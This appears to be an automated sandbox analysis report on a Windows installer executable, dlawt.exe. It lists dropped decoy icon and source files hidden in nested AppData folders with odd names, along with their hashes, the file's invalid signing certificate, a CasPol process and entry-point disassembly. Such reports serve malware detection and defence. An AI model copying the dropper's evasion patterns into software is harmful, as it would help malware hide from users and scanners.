Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><g fill="#2e3436"><path d="M7.994 0a6.01 6.01 0 00-5.87 4.777c-.528 2.533.69 5.036 2.874 6.327l.0
02.898A1 1 0 006 13h4a1 1 0 001-.998l.002-.9c2.183-1.293 3.399-3.797 2.87-6.33A6.01 6.01 0 007.993 0zm.002 2c1.9 0 3.529 1.322 3.918 3.182a3.99 3.99 0 01-2.312 
4.484 1 1 0 00-.6.914L9 11H6.998v-.418a1 1 0 00-.602-.914 3.992 3.992 0 01-2.314-4.484A3.99 3.99 0 017.996 2z" style="line-height:normal;font-variant-ligatures:
normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-al
ign:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;shape-padding:0;isolation:auto;mix-b
lend-mode:normal" color="#000" font-weight="400" font-family="sans-serif" overflow="visible"/><path d="M6 15c0 .554.446 1 1 1h2c.554 0 1-.446 1-1v-1H6z"/><path 
d="M6.992 5.994a.5.5

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Baggesen\changes-prevent-symbolic.svg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlb

en\dialog-information-symbolic.svg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlb

en\drive-harddisk-solidstate-symbolic.symbolic.png
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Category: dropped

Size (bytes): 195

Entropy (8bit): 6.3462536867112

Encrypted: false

SSDEEP: 3:yionv//thPl9vt3lAnsrtxBll/V2a02b5Ra2J6NJIMlbAytVqoL7+5KWtCYnscao:6v/lhPysma089QBbpqW7+oKs5HoE6Xjp

MD5: 5B6732EE14014007E6B0CAEB9AB35BAA

SHA1: 7F610426DD3E8560E4BFDDE6ECF8631068056B0E

SHA-256: 2E2BB0B7FD175718A6ED195A1C6F0D3D63AE0A23C75648BC5E8D86E6A738B839

SHA-512: 8AEC8F1F1FA122EC4829D65C0135D0A50A788C26C289655520353316D2A11781FC962A71A7237067EF7EF0B08DAFE9516B7EF39681B2FC3F733CA2010112E256

Malicious: false

Preview: .PNG........IHDR................a....sBIT....|.d....zIDAT8..A.. ..G.~$....S<...)..xv......(d.@..pt"]^.R.(..i.tv...$..j.j....o.j..e..&.`.].?A}.m....`."..i.+....2......]..,.'..R1..[.....IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit colormap, non-interlaced

Category: dropped

Size (bytes): 575

Entropy (8bit): 6.830970971637153

Encrypted: false

SSDEEP: 12:6v/7X0Z7HBwN1+swFIzkNqwnN14aVOX24G2uXGtIEsltGeBm65Yc:C0BqEZqQQRuXG5saexR

MD5: 576892D2CBC2392CDED574CF9F87E9A3

SHA1: B7126CA4554CBAD5D3C76D3A4E6F4E62DB669D92

SHA-256: 987E50BDB1019E60084F4BBAFCD4F942FCC7451FE40C82A7CEEB1AF56134634B

SHA-512: FEB9F46BBC9CD25FB6639E7B8E30BC3F3460A41D098C5CE2350B7B9134F163E7D63694D9F535944043A9B4E82885F714B2B5FC815CE41781EA9D9C4E8098C219

Malicious: false

Preview: .PNG........IHDR.............(-.S....sBIT.....O.....pHYs..........+......tEXtSoftware.www.inkscape.org..<.....tEXtTitle.Adwaita Folder Icons.._.....tEXtAuthor.Lapo Calamandrei..*..
.RtEXtCopyright.CC Attribution-ShareAlike http://creativecommons.org/licenses/by-sa/4.0/.Tb.....PLTE.........................................~..........................................................
..................(......tRNS.@NS.................nIDAT.W].W..0.E.W.@#...5._ 1........R....j..{..........c...-....t.D.y..[....g.H....G.t...s.3...!o...khL@..g....B.a.....IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 1077

Entropy (8bit): 5.095013943036629

Encrypted: false

SSDEEP: 24:t4tp46o5VC669yLUDgEyKbRAecFxMGMaM+uRM96Kcm:ea69yL0JNtAecFJMj86K/

MD5: BDC8C62FEE436EFB83F7D75400F81F31

SHA1: 43DD187F46AD9D03DBE511C86C1F23C92AC66BCD

SHA-256: 2C754284C11A36DCEC407452C15B7DA77D6FA815B6F6F082D2DFB990CE9EFD83

SHA-512: D3AF73024B8B6657145F0B680A03ED41BE5766D70CE5FFCC0834DB71CA309B522C4C8FD61122A51E9BE3B805CCC4D8CA6A9CD74BA77C5A2464342CE5FBA814
65

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16.014" height="16"><g fill="#474747"><path d="M1.014 1a1 1 0 00-1 1v5.832a1 1 0 000 .326V13s-.014.459.
23.947C.49 14.436 1.182 15 2.015 15h1.832a1 1 0 00.326 0h9.842s.459.014.948-.23c.488-.245 1.052-.937 1.052-1.77v-2a1 1 0 00-1-1h-11a1 1 0 00-1 1v2h-1V9h11a1 
1 0 001-1V4a1 1 0 00-1-1H8.428L6.721 1.293A1 1 0 006.014 1zm1 2H5.6l1.707 1.707A1 1 0 008.014 5h4v2h-10zm3 9h9v1h-9z" style="line-height:normal;font-variant-
ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-in
dent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;shape-padding:0;isolat
ion:auto;mix-blend-mode:normal" color="#000" font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/><path d="M1.014 10h1s0-1 1-1l10-1V4h-
5l-2-2h-5z" fill-rule="evenodd"/><p

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 479

Entropy (8bit): 7.424417664350709

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlb

en\folder-download.png

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlb

en\folder-drag-accept-symbolic.svg
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en\folder-visiting.png
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Encrypted: false

SSDEEP: 12:6v/7MEs8+zTCS6Fm0QqVI8FoWmlsV+qmw8pXAGsaFBbHWe1:KPEb6FmpqVI8Kbqm1Hb2e1

MD5: 74938AFFF1F75F97D08AEB730F2698B7

SHA1: F370B7705F844460D39489E5D1F2B15FE2F2A441

SHA-256: A8A2D4FCD192CE5924032EFF47738B7A730A0C4DEED8C7C7E8ECD75932E063D0

SHA-512: 0EF7E50D617D98D03DEF5F405CEBA8E7BDA21683F02C08635F30C204531E3CAAC6D861CCBC214C835952536553FC2E73414AE6E400FF0201A2A5416B74A8E11
5

Malicious: false

Preview: .PNG........IHDR................a....IDATx...E..0..u.p..3d.Cd..c..%.#?.z........0.U....../..o6.%..#2QH...F.L....r..o..vs7...&.......nN9g.. x...k.\(9.GqH....9...0m...`.V..V..J.....(..n.A....:
.0.kt.`l...U.%...S...h.n.A&.`Tr.6l.;f.,X..l.9.0q...ck.5a..$.eDfX..^.8.E...8......%.x\ft....e.......;0*$`.2..t..U..pD..8X....+0;..Y.d.+.#..\M.4...!..*.XJ.ux..R...1.....+2.....J ;...H(..E...#0..
[...Y.....Q...0../.u.o.A..3..,s.Ve.7O.[........d.....w..........IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 183

Entropy (8bit): 6.003110793136093

Encrypted: false

SSDEEP: 3:yionv//thPl9vt3lAnsrtxBllTh9zFa7Z52Dkh4FdXeqepOl/7tPAc08XIEh64Za:6v/lhPys9zFwHC1FdXeqe4/5dJYEup

MD5: F7DA2995933D894BDE84BCBFC78CC767

SHA1: 6B5808CC30A2366D3258F79C6719EB1C5C6FFB37

SHA-256: EB0C26BA06BBA9D9980D1DDEA031141E5491931B8CAC5221B69FF2593A21F398

SHA-512: 58848192C7DBFFBEB6F3ACC56384089DDE9ADFAE31946AC5F66AA8593AF2A4BE411EEF06E225011B36CB9FA4EB8B3705E4D2404BCBB51C3885D8EB672E011
C6B

Malicious: false

Preview: .PNG........IHDR................a....sBIT....|.d....nIDAT8.c`...?...........\.`..TW.B5...Oa..$...........$.............5c..84....9..?..x...&4..4.1.F.=.z..j.Sr......TI...}.....IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 1503

Entropy (8bit): 5.15394138748218

Encrypted: false

SSDEEP: 24:t4CBGMMAhONiWGzFk1wgaqV4AeW0WRjgnRcG1IoAeW0ayyKbRAecFxV0L:gMmklOV4AeIRjacYIoAeQyNtAecFu

MD5: 1C15A6D0FA6065F5004770EA2876B446

SHA1: BFDB465A2FC2B8BA60FC9BEE5CB03D65156F1D20

SHA-256: DC5A830CBB258F5B7EB5422C7059F6A0578821D9549A9603CA3C22E4749B6F80

SHA-512: 02309FE57B9CA42D65FA9C4B93FCB6A003D698D0FC47EF03EEFCDA0163B7C715FC6438A3CED7164839EED3412EC40BA1CF35B88AF0A40D7774B93BE7F1879F
6C

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><g color="#000" font-weight="400" fill="#474747"><path d="M6 .05v2h6c.428 0 1 .613 1 1v1H8c-.92 0-
1.735.383-2.25.968A3.017 3.017 0 005 7.049c.006.72.27 1.453.781 2.032.513.578 1.31.968 2.22.968h7v-7a3 3 0 00-3-3zm2 6h5v2H8c-.398 0-.567-.11-.719-.282a1.144 
1.144 0 01-.28-.719 1.11 1.11 0 01.25-.718c.144-.166.327-.282.75-.282z" style="line-height:normal;-inkscape-font-specification:Sans;text-indent:0;text-align:start;text-dec
oration-line:none;text-transform:none;marker:none" font-size="xx-small" font-family="Sans" overflow="visible"/><path d="M4 15H3c-.265 0-.53-.093-.719-.281l-2-2L0 
12.437v-.874l.281-.282 2-2C2.47 9.093 2.735 9 3 9h1v1c0 .265-.093.53-.281.719L2.438 12l1.28 1.281c.189.188.282.454.282.719v1z" style="line-height:normal;-inks
cape-font-specification:'Bitstream Vera Sans';text-indent:0;text-align:start;text-decoration-line:none;text-transform:none;marker:none" font-family="Bitstream Vera Sans" 
overflow="visible"/>

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 665

Entropy (8bit): 4.455633152585391

Encrypted: false

SSDEEP: 12:TMHdPnnl/nu3tlnpZo4iL+o0JWlzkmvtoWlz9vtoWlzKzmdwWlzFzmdwWlM:2dPnnxu3tlTtiL+rJPmvto0vtojzmdw6

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlb

en\format-text-bold-symbolic.symbolic.png
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en\format-text-direction-symbolic-rtl.svg
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MD5: D3329B3FDCE276378BC23A2B04EFF6FA

SHA1: 1DF694D08D03F1C7C86AB6234507A9364EC5C4E8

SHA-256: 0D26FB049E369AAD5E7ED901B3A255317A4A465008E89026FDE9F624124E2599

SHA-512: 2C4624461FAC6CD5093B8B7818DA17B909A302A216364ABCDD467131EA2C49E2BDCA3E546F69030E4812439F86986F747688EA0F9732CAE053F697A8C3F08B0D

Malicious: false

Preview: <?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">.    <g fill="#2e3436">.        <path 
d="m 11.707031 2.707031 l -1.414062 -1.414062 l -6.707031 6.707031 l 6.707031 6.707031 l 1.414062 -1.414062 l -5.292969 -5.292969 z m 0 0"/>.        <path d="m 11 
15 h 1 v -1 h -1 z m 0 0"/>.        <path d="m 11 2 h 1 v -1 h -1 z m 0 0"/>.        <path d="m 11 3 c 0.554688 0 1 -0.445312 1 -1 s -0.445312 -1 -1 -1 s -1 0.445312 -1 1 s 
0.445312 1 1 1 z m 0 0"/>.        <path d="m 11 15 c 0.554688 0 1 -0.445312 1 -1 s -0.445312 -1 -1 -1 s -1 0.445312 -1 1 s 0.445312 1 1 1 z m 0 0"/>.    </g>.</svg>.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: exported SGML document, ASCII text

Category: dropped

Size (bytes): 2055

Entropy (8bit): 5.043971370492221

Encrypted: false

SSDEEP: 48:iKmpXgIxs4ZL4Y8PsJmbW2KCkwR2+n+PfeWBvQFUijkv:irXvuqL4xJbWrCkwR2++HvBApa

MD5: 36DDA7FDA9AA693064A3E03F9619EABC

SHA1: 23385157B7C151A28582043097325BFE9A383A33

SHA-256: DF70D7483EB94C2CB50FB27B838041732154D0EA74A3885199376083D103E9E1

SHA-512: C89708B401E479A983471401E9118B80753E5CAF0B2B70C2D4B492BC0AD6F5BDFF83BD1B0B2592AF12553578535132C81CA944B5932397982EF6F2D8523B60F0

Malicious: false

Preview:   . * This file is part of the LibreOffice project.. *. * This Source Code Form is subject to the terms of the Mozilla Public. * License, v. 2.0. If a copy of the MPL was not distr
ibuted with this. * file, You can obtain one at http://mozilla.org/MPL/2.0/.. *. * This file incorporates work covered by the following license notice:. *. *   Licensed to the Apac
he Software Foundation (ASF) under one or more. *   contributor license agreements. See the NOTICE file distributed. *   with this work for additional information regardi
ng copyright. *   ownership. The ASF licenses this file to you under the Apache. *   License, Version 2.0 (the "License"); you may not use this file. *   except in compliance 
with the License. You may obtain a copy of. *   the License at http://www.apache.org/licenses/LICENSE-2.0 ..-->.<xsl:stylesheet version="1.0" encoding="UTF-8".    xm
lns:xsl="http://www.w3.org/1999/XSL/Transform".    xmlns:office="http://openoffice.org/2000/office".    xmlns:style="http://open

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 195

Entropy (8bit): 4.922475588787923

Encrypted: false

SSDEEP: 6:TMVBd/6o8GUYl/n7S3mc4slZRI/YF2tSKlNK+:TMHdPnnl/nu3i/YF2dlj

MD5: 51515176E0822E6A950F00D9D9D706C7

SHA1: EAAE28C48278ACD0F21E151D7F0EEF081A0BF1C2

SHA-256: 2E2C14E0596E4025CED6E6AD5E1F4234A5571133D13F21DDBA129EB0E9888D84

SHA-512: 634737D9C8623D7C09A6AC5FD76CA8B2FBB2F1D808DB602F6F86A925F528BC0A0C2C075833881B870C85D34198AE2327A7DAF79256E329C243E9DAC7934C42E
A

Malicious: false

Preview: <?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">.    <path d="m 2 2 h 12 v 12 h -12 
z m 0 0" fill="#2e3436"/>.</svg>.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 393

Entropy (8bit): 7.253224688299237

Encrypted: false

SSDEEP: 6:6v/lhPWjkm5nci9pR622u0WcKb36FQAYmzNPr+j3gh75lW4Y9LJkPSGzaujp:6v/7ykGP/R622uJQYmzNc3stULgSGz3

MD5: 159F75D26486E9FEEDA93F57380803D0

SHA1: 9CFCDF5399F93583658FABD4831BE1A77594B05D

SHA-256: 5E00C886D17CD45CF0B98961D9B3B8D74724F71FEB5B4B8B257903F991340289

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlb

en\idxcaption.xsl
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en\media-playback-stop-symbolic.svg
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SHA-512: 477FC795A7C786EF4BF52636776A5DE983126F5E85907FB3B17E451E7E76CC3FBEF2F9A585012DDDAC74F43B0D3F0FB24A66D21E330E6725A440FB7DFE68BFA
7

Malicious: false

Preview: .PNG........IHDR................a...PIDATx...r.1...J.K.m.mwX.n..6......x...../...hii..F....0...S#...c....-....-..@"..`..n..l.Za..a2.a4....P....!....n.^.ad|...ylb......=.;B{.N..@.[g&.N.%......{.[..-.i.
(T......s.....J+..=.\P\^`........R........t..% #3..ss3..RAa..+(.R.@ZF.. 6!.56.bsg..$2:.O..%.Ul6.T*...._.u....^BXD...._...C...bc#nw.......}.....K..w...`.8.~...._.dS..........IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: C source, ASCII text

Category: dropped

Size (bytes): 3303

Entropy (8bit): 5.0267368816625755

Encrypted: false

SSDEEP: 96:mJC/HOLCKr1SGSU7RD5y/ArM1dE912magaMz8l4XL:mSOLCeSGS23y/ArwdE912AaMz8mXL

MD5: EEF073B3246F0DFEB5DFCA21FC26E751

SHA1: 619609A2D26F70F5FD48B3AA8CFA70D5D3766C33

SHA-256: 8F65C71523910F166045BF312572139EE37E205D004EC7DAD18F9927DDF93242

SHA-512: B2D9531BFF572CC87858E95FEB6AC1BF975014E3100BB5C94D3DCD47F32F17BE4AB1ECF676F0D6B912B26EC71C4482D95805FE3B0D72367F6BA3B2C83DD5D6
3D

Malicious: false

Preview: /*.** 2017-09-18.**.** The author disclaims copyright to this source code.  In place of.** a legal notice, here is a blessing:.**.**    May you do good and not evil..**    May 
you find forgiveness for yourself and forgive others..**    May you share freely, never taking more than you give..**.********************************************************
*****************.**.*/..#include "sqlite3.h".../*.** This function is used to touch each page of a mapping of a memory.** mapped SQLite database. Assuming that the system 
has sufficient free.** memory and supports sufficiently large mappings, this causes the OS .** to cache the entire database in main memory, making subsequent .** 
database accesses faster..**.** If the second parameter to this function is not NULL, it is the name of.** the specific database to operate on (i.e. "main" or the name of 
an.** attached database)..**.** SQLITE_OK is returned if successful, or an SQLite error code otherwise..** It is not considered an error if the f

Process: C:\Users\user\Desktop\dlawt.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 247

Entropy (8bit): 4.812199066635378

Encrypted: false

SSDEEP: 6:tI9mc4slzcWER4LtmRRRHczezSms2uP2/v2dz15OfF37G+Kb0/:t4CDqLE8iuaTH2S9A0/

MD5: 012B484EB1808137F586C2FB7AA4BA8B

SHA1: 2C806A12C553CF553FBCFEE0A838EF471E0C3C71

SHA-256: 8B7E4A5DFE6BE00896C2DFA8F4B0D8FA518AD6D14863FAED6F78F8A5F3CEE227

SHA-512: 4D34C17973FAEF9765B26AB7029594FBC8841297369A6BEEFBB500D699C0FCA0697EC843351F63E83A6868380117805DC9523E45BB1318D446BD18941DF6BD6A

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M5.469 1C4.648 1 4 1.648 4 2.469V13.53c0 .822.648 1.47 1.469 1.47h5.125c.82 0 1.469-
.648 1.469-1.469V2.47c0-.821-.648-1.469-1.47-1.469zM5 2h6.063v11H5z" fill="#474747"/></svg>

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 768

Entropy (8bit): 7.659464891968236

Encrypted: false

SSDEEP: 12:6v/7Eu8VOALuh4OxDgp/mAH70oNchloqoO2NwGqEtuDCwjhNSZnNDqffLmVkLCn2:W8VOALuhM/m2yhl1oOGFtuFjMNOEkLC2

MD5: 22BCEE5BDAEA3CE17736D209364FA9EB

SHA1: E55FBBE241AED99FBBD4C400DCA8F2A4DBA60484

SHA-256: 9ACE40195DF0349BCE92B4C66360AD490F2BD6DD8A20286F329894311E881E58

SHA-512: 20968CEABB5094E350A232FFF9D017C07C1DA986A1371B4561E2CC4BAE5AC631A7FF7EDC53CAB0E9E7E55FF626FF4C4CD071334AECCB306B4B0ED31166A26
FDD

Malicious: false

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Buyback\preguiltiness\Hydroxytryptamine\Forlb

en\mmapwarm.c

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\Isdkkede\Charterrejsens\phone-apple-iphone-sy

mbolic.svg
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Preview: .PNG........IHDR................a....IDATx.}.S.dW..w........n.\c.h.].u.v...=m.M..O..Yk.3..izmu.._.7.....nb. ...Y.B+......a.j}/t&..;...;....u..X......4....JQ....S.y....v\....i.b...E..@m#.U.q.
7.`.Z...w0..sT.\..@....}p...9K.U..y.Z.+.aN.....,)/,..{....HHS[.F.....0g. :D..y.....ArZ.X\9m...\u....F..@v^....ce~.zy..Q...@y\.....k.....R\.$..8t...S...\x.aa.(..E..bXZMx...twD".G$.(......$4.9
"........p}q.T :..!..D]..... SJ&s.3.$-3y.....@.x"9...}<...Im...>I72..&._8s..._....%)..t..{ .........P.Q...P.GTL8.$..ToHph....N........@ks3...........i2.dQx..!3....K.Rk[...J...r...kGn....pc..
.7....qu8..g..........+.(.,..i...._ ...{PXT...C.w,^.z.s.F..@Br,....epH .N;...W....|.b..H.T}8.[...m.R^...f.N.>..n...<.......u..[7b..w..|<V......!..c.......IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit colormap, non-interlaced

Category: dropped

Size (bytes): 535

Entropy (8bit): 6.729117073271159

Encrypted: false

SSDEEP: 12:6v/7X0ZKjCVdCyzM8OYSdMA4jT7MzhgkX9Ba0u9:C0oCHMU5AmT7i29

MD5: FB3685DADAC64A7FF12E32A42A21C63A

SHA1: 81C46DFAB337E1AB02130316299A23C561472EE5

SHA-256: 99E5ADC5223AF5CDBB7BC70DA279DC9361AF8D130999F25DF7619AE8AFE546FF

SHA-512: 5DD0698358DDDC16E24E5719E893BDB35E2B45AF7096709190B60DA0408AF708FD66D7E0BB7D710A327168281658E6B11E391B53A5C45644A482AE7CB1F2C659

Malicious: false

Preview: .PNG........IHDR.............(-.S....sBIT.....O.....pHYs..........+......tEXtSoftware.www.inkscape.org..<.....tEXtAuthor.Jakub Steiner.../....tEXtDescription.mimetypes7..d...!tEXtS
ource.http://jimmac.musichall.czif.^....PLTE...............................................................................................................................................tRNS.....RSYs...................=^....jIDAT
...... .D......ce....U.c]d...7.Q@..k$.0..t.H.fcz...7.8BSI.....*......V...7|/.~~..,H.a...L!...'....JD..bF....IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 589

Entropy (8bit): 7.569592468279548

Encrypted: false

SSDEEP: 12:6v/773gFN49te3X6GMop9P9sbgLVeMCJtgrsjztvVnSPKa0q:auQU7p9P9F8MCXg8tdntq

MD5: B284550BD073CA666718742CFB1FEF48

SHA1: D4DB8DB0D76A3CCB04343C6304EB171014180960

SHA-256: 0C53C237C34B3AF57C8D4613A95C32E6E7932D99444FB2B573233C16151B70F6

SHA-512: F26A3D6D80D6983D0E26101ABDC90691D9FE9C24874BB67A0748E9120F7AE6C651F62C2E025A038FB497DA8C1558BF1E2D803BA9FDFAF9B69D82DE5D2F25D65
7

Malicious: false

Preview: .PNG........IHDR................a....IDATx......Q.._.2S.U...l...b....m.m.....X[.=v..;3.....^>?......\.|n..g.j.Z!._>3...... .%. ..a....%..s..A*,-.s.N.....P.~R.~...q...zw.ZU........[..;7'..m.....Q.sn..}
.;.\..3*X.v9....$/_..n.-gH..:..Mk.).......FK..p....Ks..3...T.3r.d."e...8.N.Ai..Jk.<.....?.....T\....,4c..`......o.H...2......w.KU*.".&.S.VkK..oT}[XO...x).R.g.......a#.D.Fs..r......)#;q..E.z.
~....../H<.b.."...5.......S.....&.^1YL.as../.R-K^...}r.n.N.....@.......v:.n.K.o.)K....xNB.'233..L.A...R2..8...HJJjf0...Yi$.h.....F....~.....]...].....IEND.B`.

Process: C:\Users\user\Desktop\dlawt.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 208

Entropy (8bit): 6.421066289233811

Encrypted: false

SSDEEP: 3:yionv//thPl9vt3lAnsrtxBllUxz3kooRKoNUOGIFVHR70DsyLkdFJfQWulhSzW/:6v/lhPysMfZIvHt0DHkTJfylh+fHqp

MD5: 05163D4844014A964497BFC51FCF417E

SHA1: FFAF4C7AFE0299467846B874992D634FBD4FA437

SHA-256: 3EDEACF6ED0DD60A70B4D7ED1C4505932785F2E008D2FB5F0B53FB71C122676C

SHA-512: 43C7E5CBE38B6CA36387A0C11BA07082AB950B086379538101F741A292A18A528E7BE089DAC70A1CE0C78B3D59F85774546D357F3A7B3FF11DFDE43CE4EC939
D

Malicious: false

Preview: .PNG........IHDR................a....sBIT....|.d.....IDAT8...... .E_<...Ud@..'/N k.$....'?..}m..Z`..pE>.+9..........!f.IT.......n.}..i...o...:`...0..B.Z....bU9@.._(.89.W.E_."...+]....4.>(........IEND.
B`.

Process: C:\Program Files (x86)\DSL Monitor\dslmon.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\text-x-generic.png

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\user-o ine.png

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Begravedes\Viewer\Rammedes\view-wrapped-symbolic.symbolic.png

\Device\ConDrv
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Size (bytes): 185

Entropy (8bit): 5.034626781445821

Encrypted: false

SSDEEP: 3:RGXKRjN3Mxm8d/AjhclROXDD9jmKXVM8/FOoDamdquKdFklY7KeMZ4MKLJFcLEWW:zx3M7ucLOdBXVNYmdPqFlKeM6MKnH5JB

MD5: 4725698412C19360ACD1EA81E7B40728

SHA1: FCF42E7B909F01E44493D79FC586109F7397BEA6

SHA-256: 43AD382BF0558F719D3F995F719ABC1E0134AA14304BC4D45ACCC87E767751B8

SHA-512: 5175BF2F383F87204405A512635926D75D3ADD3641F731C9D8909C306C4EFA0F5C03470F4051B87B2BFFF77E0C7E50159B8350F2B954A22DE1FAE3F36F214948

Malicious: false

Preview: Microsoft (R) .NET Framework CasPol 2.0.50727.9149..Copyright (c) Microsoft Corporation.  All rights reserved.....ERROR: Not enough arguments....For usage infor
mation, use 'caspol -?'..

File type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Entropy (8bit): 6.702939705302498

TrID: Win32 Executable (generic) a (10002005/4) 99.96%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%

File name: dlawt.exe

File size: 282224

MD5: cf313a27bceba36c7fa863ba1e935676

SHA1: 4ff90062880efe58e6e26ded7f166c5786e201db

SHA256: d4fba0fc4c7c1335a5b6be72e575a2a9a400a5fd9b0aed69389d4bba8fac7527

SHA512: 2f3608b90bbec011c4b5e659029166c3b8a2c7dccd30f7ca9da00897beef920060c9767e971010997b8edd2a0196e8d7acef8f048be0e1845d29dfc948c81f63

SSDEEP: 6144:ORlWobsEnfENQ+8m9+ubxlL5Y9CwTfFQ9:+X8NQ+8m9+ubxmRW9

TLSH: 6854D003FB8CC85BCD2509301272EA7996B5EEB41EB54B037E5D763EAC7B2428D1A315

File Content 
Preview:

MZ......................@...............................................!..L.!This program cannot be run in DOS 
mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....oZ.................d...*.....

Icon Hash: f2e1e1e1e29ce439

Entrypoint: 0x403359

Entrypoint Section: .text

Digitally signed: true

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

DLL Characteristics: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Time Stamp: 0x5A6FED2E [Tue Jan 30 03:57:34 2018 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: b34f154ec913d2d2c435cbd644e91687

Static File Info

General

File Icon

Static PE Info

General
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Signature Valid: false

Signature Issuer: OU="Flyvecertifikats Marantic ", E=Gennemgaar@Ethylamime96.Ch, O=ballelssere, L=Angers, S=Pays de la Loire, C=FR

Signature Validation Error: A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider

Error Number: -2146762487

Not Before, Not After 05/11/2021 23:11:48 04/11/2024 23:11:48

Subject Chain OU="Flyvecertifikats Marantic ", E=Gennemgaar@Ethylamime96.Ch, O=ballelssere, L=Angers, S=Pays de la Loire, C=FR

Version: 3

Thumbprint MD5: 2F2B34B547CC3D81835478C9667E4758

Thumbprint SHA-1: C5566AA56BE27344FAE7A4A69F9E003360E7BF45

Thumbprint SHA-256: E5781D4CFF5055733247474BECD116042294D0C169F0F5470CD1C7467C0C12F4

Serial: 3772290E2FB31093

Instruction

sub esp, 000002D4h

push ebx

push esi

push edi

push 00000020h

pop edi

xor ebx, ebx

push 00008001h

mov dword ptr [esp+14h], ebx

mov dword ptr [esp+10h], 0040A2E0h

mov dword ptr [esp+1Ch], ebx

call dword ptr [004080A8h]

call dword ptr [004080A4h]

and eax, BFFFFFFFh

cmp ax, 00000006h

mov dword ptr [0042A20Ch], eax

je 00007F545500F443h

push ebx

call 00007F54550126F5h

cmp eax, ebx

je 00007F545500F439h

push 00000C00h

call eax

mov esi, 004082B0h

push esi

call 00007F545501266Fh

push esi

call dword ptr [00408150h]

